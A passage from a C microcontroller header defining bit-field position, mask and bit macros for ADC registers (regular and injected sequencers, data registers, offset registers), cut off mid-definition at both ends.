ADC_SQR3_SQ10_Pos) /*!< 0x00000008 */ #define ADC_SQR3_SQ10_4 (0x10U << ADC_SQR3_SQ10_Pos) /*!< 0x00000010 */ #define ADC_SQR3_SQ11_Pos (6U) #define ADC_SQR3_SQ11_Msk (0x1FU << ADC_SQR3_SQ11_Pos) /*!< 0x000007C0 */ #define ADC_SQR3_SQ11 ADC_SQR3_SQ11_Msk /*!< ADC group regular sequencer rank 11 */ #define ADC_SQR3_SQ11_0 (0x01U << ADC_SQR3_SQ11_Pos) /*!< 0x00000040 */ #define ADC_SQR3_SQ11_1 (0x02U << ADC_SQR3_SQ11_Pos) /*!< 0x00000080 */ #define ADC_SQR3_SQ11_2 (0x04U << ADC_SQR3_SQ11_Pos) /*!< 0x00000100 */ #define ADC_SQR3_SQ11_3 (0x08U << ADC_SQR3_SQ11_Pos) /*!< 0x00000200 */ #define ADC_SQR3_SQ11_4 (0x10U << ADC_SQR3_SQ11_Pos) /*!< 0x00000400 */ #define ADC_SQR3_SQ12_Pos (12U) #define ADC_SQR3_SQ12_Msk (0x1FU << ADC_SQR3_SQ12_Pos) /*!< 0x0001F000 */ #define ADC_SQR3_SQ12 ADC_SQR3_SQ12_Msk /*!< ADC group regular sequencer rank 12 */ #define ADC_SQR3_SQ12_0 (0x01U << ADC_SQR3_SQ12_Pos) /*!< 0x00001000 */ #define ADC_SQR3_SQ12_1 (0x02U << ADC_SQR3_SQ12_Pos) /*!< 0x00002000 */ #define ADC_SQR3_SQ12_2 (0x04U << ADC_SQR3_SQ12_Pos) /*!< 0x00004000 */ #define ADC_SQR3_SQ12_3 (0x08U << ADC_SQR3_SQ12_Pos) /*!< 0x00008000 */ #define ADC_SQR3_SQ12_4 (0x10U << ADC_SQR3_SQ12_Pos) /*!< 0x00010000 */ #define ADC_SQR3_SQ13_Pos (18U) #define ADC_SQR3_SQ13_Msk (0x1FU << ADC_SQR3_SQ13_Pos) /*!< 0x007C0000 */ #define ADC_SQR3_SQ13 ADC_SQR3_SQ13_Msk /*!< ADC group regular sequencer rank 13 */ #define ADC_SQR3_SQ13_0 (0x01U << ADC_SQR3_SQ13_Pos) /*!< 0x00040000 */ #define ADC_SQR3_SQ13_1 (0x02U << ADC_SQR3_SQ13_Pos) /*!< 0x00080000 */ #define ADC_SQR3_SQ13_2 (0x04U << ADC_SQR3_SQ13_Pos) /*!< 0x00100000 */ #define ADC_SQR3_SQ13_3 (0x08U << ADC_SQR3_SQ13_Pos) /*!< 0x00200000 */ #define ADC_SQR3_SQ13_4 (0x10U << ADC_SQR3_SQ13_Pos) /*!< 0x00400000 */ #define ADC_SQR3_SQ14_Pos (24U) #define ADC_SQR3_SQ14_Msk (0x1FU << ADC_SQR3_SQ14_Pos) /*!< 0x1F000000 */ #define ADC_SQR3_SQ14 ADC_SQR3_SQ14_Msk /*!< ADC group regular sequencer rank 14 */ #define ADC_SQR3_SQ14_0 (0x01U << ADC_SQR3_SQ14_Pos) /*!< 0x01000000 */ #define ADC_SQR3_SQ14_1 (0x02U << ADC_SQR3_SQ14_Pos) /*!< 0x02000000 */ #define ADC_SQR3_SQ14_2 (0x04U << ADC_SQR3_SQ14_Pos) /*!< 0x04000000 */ #define ADC_SQR3_SQ14_3 (0x08U << ADC_SQR3_SQ14_Pos) /*!< 0x08000000 */ #define ADC_SQR3_SQ14_4 (0x10U << ADC_SQR3_SQ14_Pos) /*!< 0x10000000 */ /******************** Bit definition for ADC_SQR4 register ******************/ #define ADC_SQR4_SQ15_Pos (0U) #define ADC_SQR4_SQ15_Msk (0x1FU << ADC_SQR4_SQ15_Pos) /*!< 0x0000001F */ #define ADC_SQR4_SQ15 ADC_SQR4_SQ15_Msk /*!< ADC group regular sequencer rank 15 */ #define ADC_SQR4_SQ15_0 (0x01U << ADC_SQR4_SQ15_Pos) /*!< 0x00000001 */ #define ADC_SQR4_SQ15_1 (0x02U << ADC_SQR4_SQ15_Pos) /*!< 0x00000002 */ #define ADC_SQR4_SQ15_2 (0x04U << ADC_SQR4_SQ15_Pos) /*!< 0x00000004 */ #define ADC_SQR4_SQ15_3 (0x08U << ADC_SQR4_SQ15_Pos) /*!< 0x00000008 */ #define ADC_SQR4_SQ15_4 (0x10U << ADC_SQR4_SQ15_Pos) /*!< 0x00000010 */ #define ADC_SQR4_SQ16_Pos (6U) #define ADC_SQR4_SQ16_Msk (0x1FU << ADC_SQR4_SQ16_Pos) /*!< 0x000007C0 */ #define ADC_SQR4_SQ16 ADC_SQR4_SQ16_Msk /*!< ADC group regular sequencer rank 16 */ #define ADC_SQR4_SQ16_0 (0x01U << ADC_SQR4_SQ16_Pos) /*!< 0x00000040 */ #define ADC_SQR4_SQ16_1 (0x02U << ADC_SQR4_SQ16_Pos) /*!< 0x00000080 */ #define ADC_SQR4_SQ16_2 (0x04U << ADC_SQR4_SQ16_Pos) /*!< 0x00000100 */ #define ADC_SQR4_SQ16_3 (0x08U << ADC_SQR4_SQ16_Pos) /*!< 0x00000200 */ #define ADC_SQR4_SQ16_4 (0x10U << ADC_SQR4_SQ16_Pos) /*!< 0x00000400 */ /******************** Bit definition for ADC_DR register ********************/ #define ADC_DR_RDATA_Pos (0U) #define ADC_DR_RDATA_Msk (0xFFFFU << ADC_DR_RDATA_Pos) /*!< 0x0000FFFF */ #define ADC_DR_RDATA ADC_DR_RDATA_Msk /*!< ADC group regular conversion data */ #define ADC_DR_RDATA_0 (0x0001U << ADC_DR_RDATA_Pos) /*!< 0x00000001 */ #define ADC_DR_RDATA_1 (0x0002U << ADC_DR_RDATA_Pos) /*!< 0x00000002 */ #define ADC_DR_RDATA_2 (0x0004U << ADC_DR_RDATA_Pos) /*!< 0x00000004 */ #define ADC_DR_RDATA_3 (0x0008U << ADC_DR_RDATA_Pos) /*!< 0x00000008 */ #define ADC_DR_RDATA_4 (0x0010U << ADC_DR_RDATA_Pos) /*!< 0x00000010 */ #define ADC_DR_RDATA_5 (0x0020U << ADC_DR_RDATA_Pos) /*!< 0x00000020 */ #define ADC_DR_RDATA_6 (0x0040U << ADC_DR_RDATA_Pos) /*!< 0x00000040 */ #define ADC_DR_RDATA_7 (0x0080U << ADC_DR_RDATA_Pos) /*!< 0x00000080 */ #define ADC_DR_RDATA_8 (0x0100U << ADC_DR_RDATA_Pos) /*!< 0x00000100 */ #define ADC_DR_RDATA_9 (0x0200U << ADC_DR_RDATA_Pos) /*!< 0x00000200 */ #define ADC_DR_RDATA_10 (0x0400U << ADC_DR_RDATA_Pos) /*!< 0x00000400 */ #define ADC_DR_RDATA_11 (0x0800U << ADC_DR_RDATA_Pos) /*!< 0x00000800 */ #define ADC_DR_RDATA_12 (0x1000U << ADC_DR_RDATA_Pos) /*!< 0x00001000 */ #define ADC_DR_RDATA_13 (0x2000U << ADC_DR_RDATA_Pos) /*!< 0x00002000 */ #define ADC_DR_RDATA_14 (0x4000U << ADC_DR_RDATA_Pos) /*!< 0x00004000 */ #define ADC_DR_RDATA_15 (0x8000U << ADC_DR_RDATA_Pos) /*!< 0x00008000 */ /******************** Bit definition for ADC_JSQR register ******************/ #define ADC_JSQR_JL_Pos (0U) #define ADC_JSQR_JL_Msk (0x3U << ADC_JSQR_JL_Pos) /*!< 0x00000003 */ #define ADC_JSQR_JL ADC_JSQR_JL_Msk /*!< ADC group injected sequencer scan length */ #define ADC_JSQR_JL_0 (0x1U << ADC_JSQR_JL_Pos) /*!< 0x00000001 */ #define ADC_JSQR_JL_1 (0x2U << ADC_JSQR_JL_Pos) /*!< 0x00000002 */ #define ADC_JSQR_JEXTSEL_Pos (2U) #define ADC_JSQR_JEXTSEL_Msk (0xFU << ADC_JSQR_JEXTSEL_Pos) /*!< 0x0000003C */ #define ADC_JSQR_JEXTSEL ADC_JSQR_JEXTSEL_Msk /*!< ADC group injected external trigger source */ #define ADC_JSQR_JEXTSEL_0 (0x1U << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000004 */ #define ADC_JSQR_JEXTSEL_1 (0x2U << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000008 */ #define ADC_JSQR_JEXTSEL_2 (0x4U << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000010 */ #define ADC_JSQR_JEXTSEL_3 (0x8U << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000020 */ #define ADC_JSQR_JEXTEN_Pos (6U) #define ADC_JSQR_JEXTEN_Msk (0x3U << ADC_JSQR_JEXTEN_Pos) /*!< 0x000000C0 */ #define ADC_JSQR_JEXTEN ADC_JSQR_JEXTEN_Msk /*!< ADC group injected external trigger polarity */ #define ADC_JSQR_JEXTEN_0 (0x1U << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000040 */ #define ADC_JSQR_JEXTEN_1 (0x2U << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000080 */ #define ADC_JSQR_JSQ1_Pos (8U) #define ADC_JSQR_JSQ1_Msk (0x1FU << ADC_JSQR_JSQ1_Pos) /*!< 0x00001F00 */ #define ADC_JSQR_JSQ1 ADC_JSQR_JSQ1_Msk /*!< ADC group injected sequencer rank 1 */ #define ADC_JSQR_JSQ1_0 (0x01U << ADC_JSQR_JSQ1_Pos) /*!< 0x00000100 */ #define ADC_JSQR_JSQ1_1 (0x02U << ADC_JSQR_JSQ1_Pos) /*!< 0x00000200 */ #define ADC_JSQR_JSQ1_2 (0x04U << ADC_JSQR_JSQ1_Pos) /*!< 0x00000400 */ #define ADC_JSQR_JSQ1_3 (0x08U << ADC_JSQR_JSQ1_Pos) /*!< 0x00000800 */ #define ADC_JSQR_JSQ1_4 (0x10U << ADC_JSQR_JSQ1_Pos) /*!< 0x00001000 */ #define ADC_JSQR_JSQ2_Pos (14U) #define ADC_JSQR_JSQ2_Msk (0x1FU << ADC_JSQR_JSQ2_Pos) /*!< 0x0007C000 */ #define ADC_JSQR_JSQ2 ADC_JSQR_JSQ2_Msk /*!< ADC group injected sequencer rank 2 */ #define ADC_JSQR_JSQ2_0 (0x01U << ADC_JSQR_JSQ2_Pos) /*!< 0x00004000 */ #define ADC_JSQR_JSQ2_1 (0x02U << ADC_JSQR_JSQ2_Pos) /*!< 0x00008000 */ #define ADC_JSQR_JSQ2_2 (0x04U << ADC_JSQR_JSQ2_Pos) /*!< 0x00010000 */ #define ADC_JSQR_JSQ2_3 (0x08U << ADC_JSQR_JSQ2_Pos) /*!< 0x00020000 */ #define ADC_JSQR_JSQ2_4 (0x10U << ADC_JSQR_JSQ2_Pos) /*!< 0x00040000 */ #define ADC_JSQR_JSQ3_Pos (20U) #define ADC_JSQR_JSQ3_Msk (0x1FU << ADC_JSQR_JSQ3_Pos) /*!< 0x01F00000 */ #define ADC_JSQR_JSQ3 ADC_JSQR_JSQ3_Msk /*!< ADC group injected sequencer rank 3 */ #define ADC_JSQR_JSQ3_0 (0x01U << ADC_JSQR_JSQ3_Pos) /*!< 0x00100000 */ #define ADC_JSQR_JSQ3_1 (0x02U << ADC_JSQR_JSQ3_Pos) /*!< 0x00200000 */ #define ADC_JSQR_JSQ3_2 (0x04U << ADC_JSQR_JSQ3_Pos) /*!< 0x00400000 */ #define ADC_JSQR_JSQ3_3 (0x08U << ADC_JSQR_JSQ3_Pos) /*!< 0x00800000 */ #define ADC_JSQR_JSQ3_4 (0x10U << ADC_JSQR_JSQ3_Pos) /*!< 0x01000000 */ #define ADC_JSQR_JSQ4_Pos (26U) #define ADC_JSQR_JSQ4_Msk (0x1FU << ADC_JSQR_JSQ4_Pos) /*!< 0x7C000000 */ #define ADC_JSQR_JSQ4 ADC_JSQR_JSQ4_Msk /*!< ADC group injected sequencer rank 4 */ #define ADC_JSQR_JSQ4_0 (0x01U << ADC_JSQR_JSQ4_Pos) /*!< 0x04000000 */ #define ADC_JSQR_JSQ4_1 (0x02U << ADC_JSQR_JSQ4_Pos) /*!< 0x08000000 */ #define ADC_JSQR_JSQ4_2 (0x04U << ADC_JSQR_JSQ4_Pos) /*!< 0x10000000 */ #define ADC_JSQR_JSQ4_3 (0x08U << ADC_JSQR_JSQ4_Pos) /*!< 0x20000000 */ #define ADC_JSQR_JSQ4_4 (0x10U << ADC_JSQR_JSQ4_Pos) /*!< 0x40000000 */ /******************** Bit definition for ADC_OFR1 register ******************/ #define ADC_OFR1_OFFSET1_Pos (0U) #define ADC_OFR1_OFFSET1_Msk (0xFFFU << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000FFF */ #define ADC_OFR1_OFFSET1 ADC_OFR1_OFFSET1_Msk /*!< ADC offset number 1 offset level */ #define ADC_OFR1_OFFSET1_0 (0x001U << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000001 */ #define ADC_OFR1_OFFSET1_1 (0x002U << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000002 */ #define ADC_OFR1_OFFSET1_2 (0x004U << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000004 */ #define ADC_OFR1_OFFSET1_3 (0x008U << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000008 */ #define ADC_OFR1_OFFSET1_4 (0x010U << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000010 */ #define ADC_OFR1_OFFSET1_5 (0x020U << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000020 */ #define ADC_OFR1_OFFSET1_6 (0x040U << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000040 */ #define ADC_OFR1_OFFSET1_7 (0x080U << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000080 */ #define ADC_OFR1_OFFSET1_8 (0x100U << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000100 */ #define ADC_OFR1_OFFSET1_9 (0x200U << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000200 */ #define ADC_OFR1_OFFSET1_10 (0x400U << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000400 */ #define ADC_OFR1_OFFSET1_11 (0x800U << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000800 */ #define ADC_OFR1_OFFSET1_CH_Pos (26U) #define ADC_OFR1_OFFSET1_CH_Msk (0x1FU << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x7C000000 */ #define ADC_OFR1_OFFSET1_CH ADC_OFR1_OFFSET1_CH_Msk /*!< ADC offset number 1 channel selection */ #define ADC_OFR1_OFFSET1_CH_0 (0x01U << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x04000000 */ #define ADC_OFR1_OFFSET1_CH_1 (0x02U << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x08000000 */ #define ADC_OFR1_OFFSET1_CH_2 (0x04U << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x10000000 */ #define ADC_OFR1_OFFSET1_CH_3 (0x08U << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x20000000 */ #define ADC_OFR1_OFFSET1_CH_4 (0x10U << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x40000000 */ #define ADC_OFR1_OFFSET1_EN_Pos (31U) #define ADC_OFR1_OFFSET1_EN_Msk (0x1U << ADC_OFR1_OFFSET1_EN_Pos) /*!< 0x80000000 */ #define ADC_OFR1_OFFSET1_EN ADC_OFR1_OFFSET1_EN_Msk /*!< ADC offset number 1 enable */ /******************** Bit definition for ADC_OFR2 register ******************/ #define ADC_OFR2_OFFSET2_Pos (0U) #define ADC_OFR2_OFFSET2_Msk (0xFFFU << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000FFF */ #define ADC_OFR2_OFFSET2 ADC_OFR2_OFFSET2_Msk /*!< ADC offset number 2 offset level */ #define ADC_OFR2_OFFSET2_0 (0x001U << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000001 */ #define ADC_OFR2_OFFSET2_1 (0x002U << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000002 */ #define ADC_OFR2_OFFSET2_2 (0x004U << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000004 */ #define ADC_OFR2_OFFSET2_3 (0x008U << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000008 */ #define ADC_OFR2_OFFSET2_4 (0x010U << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000010 */ #define ADC_OFR2_OFFSET2_5 (0x020U << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000020 */ #define ADC_OFR2_OFFSET2_6 (0x040U << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000040 */ #define ADC_OFR2_OFFSET2_7 (0x080U << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000080 */ #define ADC_OFR2_OFFSET2_8 (0x100U << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000100 */ #define ADC_OFR2_OFFSET2_9 (0x200U << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000200 */ #define ADC_OFR2_OFFSET2_10 (0x400U << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000400 */ #define ADC_OFR2_OFFSET2_11 (0x800U << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000800 */ #define ADC_OFR2_OFFSET2_CH_Pos (26U) #define ADC_OFR2_OFFSET2_CH_Msk (0x1FU << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x7C000000 */ #define ADC_OFR2_OFFSET2_CH ADC_OFR2_OFFSET2_CH_Msk /*!< ADC offset number 2 channel selection */ #define ADC_OFR2_OFFSET2_CH_0 (0x01U << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x04000000 */ #define ADC_OFR2_OFFSET2_CH_1 (0x02U << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x08000000 */ #define ADC_OFR2_OFFSET2_CH_2 (0x04U << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x10000000 */ #define ADC_OFR2_OFFSET2_CH_3 (0x08U << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x20000000 */ #define ADC_OFR2_OFFSET2_CH_4 (0x10U << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x40000000 */ #define ADC_OFR2_OFFSET2_EN_Pos (31U) #define ADC_OFR2_OFFSET2_EN_Msk (0x1U << ADC_OFR2_OFFSET2_EN_Pos) /*!< 0x80000000 */ #define ADC_OFR2_OFFSET2_EN ADC_OFR2_OFFSET2_EN_Msk /*!< ADC offset number 2 enable */ /******************** Bit definition for ADC_OFR3 register ******************/ #define ADC_OFR3_OFFSET3_Pos (0U) #define ADC_OFR3_OFFSET3_Msk (0xFFFU << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000FFF */ #define ADC_OFR3_OFFSET3 ADC_OFR3_OFFSET3_Msk /*!< ADC offset number 3 offset level */ #define ADC_OFR3_OFFSET3_0 (0x001U << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000001 */ #define ADC_OFR3_OFFSET3_1 (0x002U << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000002 */ #define ADC_OFR3_OFFSET3_2 (0x004U << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000004 */ #define ADC_OFR3_OFFSET3_3 (0x008U << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000008 */ #define ADC_OFR3_OFFSET3_4 (0x010U << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000010 */ #define ADC_OFR3_OFFSET3_5 (0x020U << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000020 */ #define ADC_OFR3_OFFSET3_6 (0x040U << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000040 */ #define ADC_OFR3_OFFSET3_7 (0x080U << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000080 */ #define ADC_OFR3_OFFSET3_8 (0x100U << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000100 */ #define ADC_OFR3_OFFSET3_9 (0x200U << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000200 */ #define ADC_OFR3_OFFSET3_10 (0x400U << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000400 */ #define ADC_OFR3_OFFSET3_11 (0x800U << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000800 */ #define ADC_OFR3_OFFSET3_CH_Pos (26U) #define ADC_OFR3_OFFSET3_CH_Msk (0x1FU << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x7C000000 */ #define ADC_OFR3_OFFSET3_CH ADC_OFR3_OFFSET3_CH_Msk /*!< ADC offset number 3 channel selection */ #define ADC_OFR3_OFFSET3_CH_0 (0x01U << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x04000000 */ #define ADC_OFR3_OFFSET3_CH_1 (0x02U << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x08000000 */ #define ADC_OFR3_OFFSET3_CH_2 (0x04U << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x10000000 */ #define ADC_OFR3_OFFSET3_CH_3 (0x08U << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x20000000 */ #define ADC_OFR3_OFFSET3_CH_4 (0x10U << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x40000000 */ #define ADC_OFR3_OFFSET3_EN_Pos (31U) #define ADC_OFR3_OFFSET3_EN_Msk (0x1U << ADC_OFR3_OFFSET3_EN_Pos) /*!< 0x80000000 */ #define ADC_OFR3_OFFSET3_EN ADC_OFR3_OFFSET3_EN_Msk /*!< ADC offset number 3 enable */ /******************** Bit definition for ADC_OFR4 register ******************/ #define ADC_OFR4_OFFSET4_Pos (0U) #define ADC_OFR4_OFFSET4_Msk (0xFFFU << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000FFF */ #define ADC_OFR4_OFFSET4 ADC_OFR4_OFFSET4_Msk /*!< ADC offset number 4 offset level */ #define ADC_OFR4_OFFSET4_0 (0x001U << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000001 */ #define ADC_OFR4_OFFSET4_1 (0x002U << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000002 */ #define ADC_OFR4_OFFSET4_2 (0x004U << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000004 */ #define ADC_OFR4_OFFSET4_3 (0x008U << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000008 */ #define ADC_OFR4_OFFSET4_4 (0x010U << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000010 */ #define ADC_OFR4_OFFSET4_5 (0x020U << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000020 */ #define ADC_OFR4_OFFSET4_6 (0x040U << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000040 */ #define ADC_OFR4_OFFSET4_7 (0x080U << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000080 */ #define ADC_OFR4_OFFSET4_8 (0x100U << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000100 */ #define ADC_OFR4_OFFSET4_9 (0x200U << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000200 */ #define ADC_OFR4_OFFSET4_10 (0x400U << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000400 */ #define ADC_OFR4_OFFSET4_11 (0x800U << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000800 */ #define ADC_OFR4_OFFSET4_CH_Pos (26U) #define ADC_OFR4_OFFSET4_CH_Msk (0x1FU << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x7C000000 */ #define ADC_OFR4_OFFSET4_CH ADC_OFR4_OFFSET4_CH_Msk /*!< ADC offset number 4 channel selection */ #define ADC_OFR4_OFFSET4_CH_0 (0x01U << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x04000000 */ #define ADC_OFR4_OFFSET4_CH_1 (0x02U << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x08000000 */ #define ADC_OFR4_OFFSET4_CH_2 (0x04U << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x10000000 */ #define ADC_OFR4_OFFSET4_CH_3 (0x08U << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x20000000 */ #define ADC_OFR4_OFFSET4_CH_4 (0x10U << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x40000000 */ #define ADC_OFR4_OFFSET4_EN_Pos (31U) #define ADC_OFR4_OFFSET4_EN_Msk (0x1U << ADC_OFR4_OFFSET4_EN_Pos) /*!< 0x80000000 */ #define ADC_OFR4_OFFSET4_EN ADC_OFR4_OFFSET4_EN_Msk /*!< ADC offset number 4 enable */ /******************** Bit definition for ADC_JDR1 register ******************/ #define ADC_JDR1_JDATA_Pos (0U) #define ADC_JDR1_JDATA_Msk (0xFFFFU << ADC_JDR1_JDATA_Pos) /*!< 0x0000FFFF */ #define ADC_JDR1_JDATA ADC_JDR1_JDATA_Msk /*!< ADC group injected sequencer rank 1 conversion data */ #define ADC_JDR1_JDATA_0 (0x0001U << ADC_JDR1_JDATA_Pos) /*!< 0x00000001 */ #define ADC_JDR1_JDATA_1 (0x0002U << ADC_JDR1_JDATA_Pos) /*!< 0x00000002 */ #define ADC_JDR1_JDATA_2 (0x0004U << ADC_JDR1_JDATA_Pos) /*!< 0x00000004 */ #define ADC_JDR1_JDATA_3 (0x0008U << ADC_JDR1_JDATA_Pos) /*!< 0x00000008 */ #define ADC_JDR1_JDATA_4 (0x0010U << ADC_JDR1_JDATA_Pos) /*!< 0x00000010 */ #define ADC_JDR1_JDATA_5 (0x0020U << ADC_JDR1_JDATA_Pos) /*!< 0x00000020 */ #define ADC_JDR1_JDATA_6 (0x0040U << ADC_JDR1_JDATA_Pos) /*!< 0x00000040 */ #define ADC_JDR1_JDATA_7 (0x0080U << ADC_JDR1_JDATA_Pos) /*!< 0x00000080 */ #define ADC_JDR1_JDATA_8 (0x0100U << ADC_JDR1_JDATA_Pos) /*!< 0x00000100 */ #define ADC_JDR1_JDATA_9 (0x0200U << ADC_JDR1_JDATA_Pos) /*!< 0x00000200 */ #define ADC_JDR1_JDATA_10 (0x0400U << ADC_JDR1_JDATA_Pos) /*!< 0x00000400 */ #define ADC_JDR1_JDATA_11 (0x0800U << ADC_JDR1_JDATA_Pos) /*!< 0x00000800 */ #define ADC_JDR1_JDATA_12 (0x1000U << ADC_JDR1_JDATA_Pos) /*!< 0x00001000 */ #define ADC_JDR1_JDATA_13 (0x2000U << ADC_JDR1_JDATA_Pos) /*!< 0x00002000 */ #define ADC_JDR1_JDATA_14 (0x4000U << ADC_JDR1_JDATA_Pos) /*!< 0x00004000 */ #define ADC_JDR1_JDATA_15 (0x8000U << ADC_JDR1_JDATA_Pos) /*!< 0x00008000 */ /******************** Bit definition for ADC_JDR2 register ******************/ #define ADC_JDR2_JDATA_Pos (0U) #define ADC_JDR2_JDATA_Msk (0xFFFFU << ADC_JDR2_JDATA_Pos) /*!< 0x0000FFFF */ #define ADC_JDR2_JDATA ADC_JDR2_JDATA_Msk /*!< ADC group injected sequencer rank 2 conversion data */ #define ADC_JDR2_JDATA_0 (0x0001U << ADC_JDR2_JDATA_Pos) /*!< 0x00000001 */ #define ADC_JDR2_JDATA_1 (0x0002U << ADC_JDR2_JDATA_Pos) /*!< 0x00000002 */ #define ADC_JDR2_JDATA_2 (0x0004U << ADC_JDR2_JDATA_Pos) /*!< 0x00000004 */ #define ADC_JDR2_JDATA_3 (0x0008U << ADC_JDR2_JDATA_Pos) /*!< 0x00000008 */ #define ADC_JDR2_JDATA_4 (0x0010U << ADC_JDR2_JDATA_Pos) /*!< 0x00000010 */ #define ADC_JDR2_JDATA_5 (0x0020U << ADC_JDR2_JDATA_Pos) /*!< 0x00000020 */ #define ADC_JDR2_JDATA_6 (0x0040U << ADC_JDR2_JDATA_Pos) /*!< 0x00000040 */ #define ADC_JDR2_JDATA_7 (0x0080U << ADC_JDR2_JDATA_Pos) /*!< 0x00000080 */ #define ADC_JDR2_JDATA_8 (0x0100U << ADC_JDR2_JDATA_Pos) /*!< 0x00000100 */ #define ADC_JDR2_JDATA_9 (0x0200U << ADC_JDR2_JDATA_Pos) /*!< 0x00000200 */ #define ADC_JDR2_JDATA_10 (0x0400U << ADC_JDR2_JDATA_Pos) /*!< 0x00000400 */ #define ADC_JDR2_JDATA_11 (0x0800U << ADC_JDR2_JDATA_Pos) /*!< 0x00000800 */ #define ADC_JDR2_JDATA_12 (0x1000U << ADC_JDR2_JDATA_Pos) /*!< 0x00001000 */ #define ADC_JDR2_JDATA_13 (0x2000U << ADC_JDR2_JDATA_Pos) /*!< 0x00002000 */ #define ADC_JDR2_JDATA_14 (0x4000U << ADC_JDR2_JDATA_Pos) /*!< 0x00004000 */ #define ADC_JDR2_JDATA_15 (0x8000U << ADC_JDR2_JDATA_Pos) /*!< 0x00008000 */ /******************** Bit definition for ADC_JDR3 register ******************/ #define ADC_JDR3_JDATA_Pos (0U) #define ADC_JDR3_JDATA_Msk (0xFFFFU << ADC_JDR3_JDATA_Pos) /*!< 0x0000FFFF */ #define ADC_JDR3_JDATA ADC_JDR3_JDATA_Msk /*!< ADC group injected sequencer rank 3 conversion data */ #define ADC_JDR3_JDATA_0 (0x0001U << ADC_JDR3_JDATA_Pos) /*!< 0x00000001 */ #define ADC_JDR3_JDATA_1 (0x0002U << ADC_JDR3_JDATA_Pos) /*!< 0x00000002 */ #define ADC_JDR3_JDATA_2 (0x0004U << ADC_JDR3_JDATA_Pos) /*!< 0x00000004 */ #define ADC_JDR3_JDATA_3 (0x0008U << ADC_JDR3_JDATA_Pos) /*!< 0x00000008 */ #define ADC_JDR3_JDATA_4 (0x0010U << ADC_JDR3_JDATA_Pos) /*!< 0x00000010 */ #define ADC_JDR3_JDATA_5 (0x0020U << ADC_JDR3_JDATA_Pos) /*!< 0x00000020 */ #define ADC_JDR3_JDATA_6 (0x0040U << ADC_JDR3_JDATA_Pos) /*!< 0x00000040 */ #define ADC_JDR3_JDATA_7 (0x0080U << ADC_JDR3_JDATA_Pos) /*!< 0x00000080 */ #define ADC_JDR3_JDATA_8 (0x0100U << ADC_JDR3_JDATA_Pos) /*!< 0x00000100 */ #define ADC_JDR3_JDATA_9 